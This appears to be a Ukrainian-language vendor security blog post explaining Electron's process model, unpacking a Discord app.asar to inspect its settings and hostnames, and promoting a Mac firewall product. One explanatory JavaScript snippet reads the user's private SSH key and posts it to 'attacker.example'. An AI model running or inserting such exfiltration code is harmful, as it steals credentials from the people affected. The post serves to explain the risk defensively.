Блог з безпеки FireAI

Автор FireAI Security & Research Team · Опубліковано

Що насправді міститься у ваших програмах Electron? Ми витягли один, щоб дізнатися

Що насправді міститься у ваших програмах Electron? Ми витягли один, щоб дізнатися

Electron поєднує механізм візуалізації Chromium із середовищем виконання Node.js, щоб одну кодову базу JavaScript можна було використовувати як настільну програму для macOS, Windows і Linux. Slack, Discord, Notion та багато інших створені таким чином, і протягом багатьох років також Microsoft Teams. Зручність справжня. Варто зрозуміти наслідок: програма Electron — це не один процес з одним рівнем привілеїв, і її вихідний код неважко прочитати.

Два процеси, два рівні привілеїв

Кожна програма Electron має основний процес, який запускає повний Node.js зі звичайним доступом до файлів і мережі на рівні ОС, а також один або кілька процесів Renderer, які відображають веб-вміст у контексті Chromium. Власний охоронна документація Electron чітко говорить про ризик розмивання цієї лінії: «Дуже важливо, щоб ви не вмикали інтеграцію Node.js у жодному рендерері, який завантажує віддалений вміст», оскільки це усуває бар’єр між веб-сторінкою та операційною системою. Заявлене виправлення полягає не в тому, щоб «натомість довіряти вмісту», а в архітектурі: заборонити доступ до Node поза рендерером і надати йому лише навмисно вузький API через сценарій попереднього завантаження та API contextBridge з увімкненою ізоляцією контексту.

Ілюстрація: що може зробити інтеграція Node у скомпрометований рендерер
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

Архів не секрет: розпакування справжнього додатка

Більшість програм Electron надсилають свої JavaScript і HTML у файл app.asar. Власні документи Electron прямо говорять про те, для чого призначений цей формат: «архіви призначені лише для читання», а об’єднання в один має на меті «приховати ваш вихідний код від поверхневої перевірки» — це власне формулювання, а не зовнішнє твердження — водночас прямо вказуючи в іншому місці, що ASAR не забезпечує шифрування. Щоб перевірити, що це означає на практиці, ми роздобули справжню, наразі встановлену копію Discord для macOS (збірка 0.0.294) на цій машині, використовуючи власний підтримуваний пакувальник Electron.

Термінал
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Одна команда створила 1056 простих файлів: читабельний JavaScript, package.json і власний макет модуля Discord, точно так, як зазначено в документації Electron. Ні декомпіляції, ні зворотного проектування, ні пароля. Це не є недоліком Discord; це те, як формат ASAR працює для кожної програми Electron.

Що справжній витяг показує про поведінку мережі

З джерелом у вигляді звичайного тексту перевірка безпеки та пошук стають тривіальними. Ми перевірили витягнуті файли за двома речами: які фактично встановлює WebPreferences Discord і які імена хостів відображаються у його власному коді (за винятком сторонніх node_modules).

Термінал, результат реального екстракту вище
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Щоб бути чесними щодо конкретного додатка, який ми протестували: вікно-заставка Discord точно відповідає порадам Electron щодо посилення, nodeIntegration: false та contextIsolation: true. Це варто сказати прямо, а не пропускати. Справа не в тому, що Discord небезпечний; це те, що ми могли перевірити за лічені хвилини будь-яку програму Electron, оскільки формат архіву нічого не приховує. Більшість людей, які встановлюють програму Electron, ніколи не дивляться, і більшість інструментів статичної кінцевої точки також не дивляться.

Чому бінарний брандмауер не може допомогти тут

Жодне з наведених вище імен хостів не є секретним або несподіваним для програми чату, і це саме проблема для захисту на рівні мережі. Брандмауер, який приймає рішення за підписом коду, бачить одне: нотаріально завірений двійковий файл, підписаний Apple, який надсилає звичайні HTTPS-запити на порт 443. Він не може відрізнити легітимний виклик API, пакет SDK аналітики та, у справді скомпрометованому рендерері, спробу ексфільтрації одне від одного. Усі три виглядають як один і той самий довірений процес, який спілкується з Інтернетом, тому що це той самий процес.

  • Оцінка програми Electron за її підписом коду нічого не говорить про те, які з багатьох пов’язаних залежностей створюють які з’єднання.
  • Оскільки джерелом є звичайний JavaScript у незашифрованому архіві, перевірка того, що може отримати програма, є реалістичною, а не теоретичною, для будь-кого, хто бажає запустити asar extract.
  • Єдиний елемент керування, який не залежить від довіри до двійкового файлу, — це мережева політика для кожного процесу та цільового призначення: рішення в сокеті, до чого дозволено охоплювати певну програму.

Яке місце тут посідають FireAI та HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI — це власний продукт HisnLabs: ШІ-фаєрвол, який працює безпосередньо на вашому Mac. Він показує простою мовою кожне з’єднання, яке встановлюють ваші застосунки, і дає вам вирішувати, що покидає ваш Mac, — його ШІ працює локально, тож ваш трафік ніколи не надсилається ні нам, ні будь-кому іншому. Команда дослідників безпеки HisnLabs — саме вона підтримує точність цих рішень: каталогізує, які домени є звичайною телеметрією, а які — справжнім сервісом, відстежує країну та мережу за з’єднанням і навчає локальну модель (функцію Autopilot) на реальних шаблонах трафіку — і нічого з цього не покидає ваш Mac.

Ви можете почитати про технічні рішення, що лежать в його основі, або спробувати FireAI протягом 17 днів на сторінці FireAI від HisnLabs.

Джерела